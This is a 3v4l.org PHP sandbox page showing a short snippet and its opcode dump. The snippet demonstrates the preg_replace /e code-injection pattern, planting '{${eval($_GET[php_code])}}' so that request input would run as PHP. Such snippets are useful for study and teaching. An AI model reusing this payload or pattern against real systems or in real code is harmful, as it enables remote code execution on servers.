3v4l.org

run code in 300+ PHP versions simultaneously
<?php $html = '<h1>{${eval($_GET[php_code])}}</h1>'; // uppercase headings $html = preg_replace( '(<h([1-6])>(.*?)</h\1>)e', '"<h$1>" . strtoupper("$2") . "</h$1>"', $html );
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/JZ7dg
function name:  (null)
number of ops:  8
compiled vars:  !0 = $html
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, '%3Ch1%3E%7B%24%7Beval%28%24_GET%5Bphp_code%5D%29%7D%7D%3C%2Fh1%3E'
    5     1        INIT_FCALL                                               'preg_replace'
    6     2        SEND_VAL                                                 '%28%3Ch%28%5B1-6%5D%29%3E%28.%2A%3F%29%3C%2Fh%5C1%3E%29e'
    7     3        SEND_VAL                                                 '%22%3Ch%241%3E%22+.+strtoupper%28%22%242%22%29+.+%22%3C%2Fh%241%3E%22'
    8     4        SEND_VAR                                                 !0
          5        DO_ICALL                                         $2      
    5     6        ASSIGN                                                   !0, $2
    9     7      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
153.47 ms | 1394 KiB | 15 Q